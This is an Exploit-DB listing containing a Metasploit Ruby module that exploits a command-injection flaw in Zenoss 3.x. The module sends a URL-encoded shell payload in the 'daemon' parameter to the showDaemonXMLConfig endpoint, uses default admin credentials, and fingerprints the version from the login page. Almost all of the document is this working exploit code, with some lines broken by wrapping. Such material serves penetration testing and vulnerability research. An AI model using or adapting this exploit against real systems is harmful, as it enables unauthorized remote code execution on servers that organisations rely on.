Zenoss 3 - showDaemonXMLConfig Command Execution (Metasploit)

EDB-ID:

20205

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

REMOTE

Exploit: / {}

Platform:

UNIX

Date:

2012-08-03

Vulnerable App:

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Zenoss 3 showDaemonXMLConfig Command
Execution',
            'Description'    => %q{
                This module exploits a command execution vulnerability in
Zenoss 3.x
                which could be abused to allow authenticated users to
execute arbitrary
                code under the context of the 'zenoss' user. The
show_daemon_xml_configs()
                function in the 'ZenossInfo.py' script calls Popen() with
user
                controlled data from the 'daemon' parameter.
            },
            'References'     =>
                [
                    ['URL', 'http://itsecuritysolutions.org/2012-07-30-
zenoss-3.2.1-multiple-security-vulnerabilities/'],
                    #['OSVDB', 'None'],
                    #['CVE', 'None'],
                ],
            'Author'         =>
                [
                    'Brendan Coles <bcoles[at]gmail.com>', # Discovery and
exploit
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 3 $',
            'Privileged'     => false,
            'Arch'           => ARCH_CMD,
            'Platform'       => 'unix',
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'BadChars'    => "\x00",
                    'DisableNops' => true,
                },
            'Compat'    =>
                {
                    'PayloadType' => 'cmd',
                    'RequiredCmd' => 'generic python perl bash',
                },
            'Targets'        =>
                [
                    [
                        'Automatic Targeting', { 'auto' => true }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jul 30 2012'
        ))
```

```
        register_options([
            Opt::RPORT(8080),
            OptString.new('USERNAME', [true, 'The Zenoss username',
'admin']),
            OptString.new('PASSWORD', [true, 'The Zenoss password',
'zenoss'])
        ], self.class)
    end

    def check

        @peer = "#{rhost}:#{rport}"

        # retrieve software version from login page
        begin
            res = send_request_raw({
                'method' => "GET",
                'uri'    => "/zport/acl_users/cookieAuthHelper/login_form"
            })
            return Exploit::CheckCode::Vulnerable if res.body =~
/<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
            return Exploit::CheckCode::Detected   if res.body =~ /<link
rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico"
\/>/
            return Exploit::CheckCode::Safe
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeoutp
            print_error("#{@peer} - Connection failed")
        end
        return Exploit::CheckCode::Unknown

    end

    def exploit

        @peer    = "#{rhost}:#{rport}"
        username = datastore['USERNAME']
        password = datastore['PASSWORD']
        command  = URI.encode(payload.encoded)+"%26"
        postdata = "__ac_name=#{username}&__ac_password=#
{password}&daemon=#{command}"

        # send payload
        print_status("#{@peer} - Sending payload to Zenoss (#
{command.length.to_s} bytes)")
        begin
            res = send_request_cgi({
                'method'    => 'POST',
                'uri'       => "/zport/About/showDaemonXMLConfig",
                'data'      => "#{postdata}",
            })
            if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
                print_error("#{@peer} - Authentication failed. Incorrect
username/password.")
                return
            end
            print_status("#{@peer} - Sent payload successfully")
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
            print_error("#{@peer} - Connection failed")
        rescue
            print_error("#{@peer} - Sending payload failed")
        end

        handler

    end

end
```

```
end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link

Databases

Links

Sites

Solutions